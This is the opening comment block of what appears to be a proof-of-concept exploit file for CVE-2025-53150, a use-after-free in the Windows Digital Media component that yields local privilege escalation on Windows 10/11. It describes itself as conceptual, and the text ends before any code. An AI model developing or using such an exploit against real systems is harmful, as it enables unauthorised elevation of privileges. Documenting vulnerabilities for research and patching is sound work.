/* CVE-2025-53150 - Windows Digital Media Use After Free PoC (Conceptual)
* Vulnerability: Use After Free in Windows Digital Media component
* Impact: Local Privilege Escalation (LPE)
* Tested on: Windows 10/11 (affected builds)
*
* NOTE: This is a conceptual PoC demonstrating the vulnerability pattern.
* The actual exploitation requires careful heap manipulation and
* Windows Digital Media API interaction.
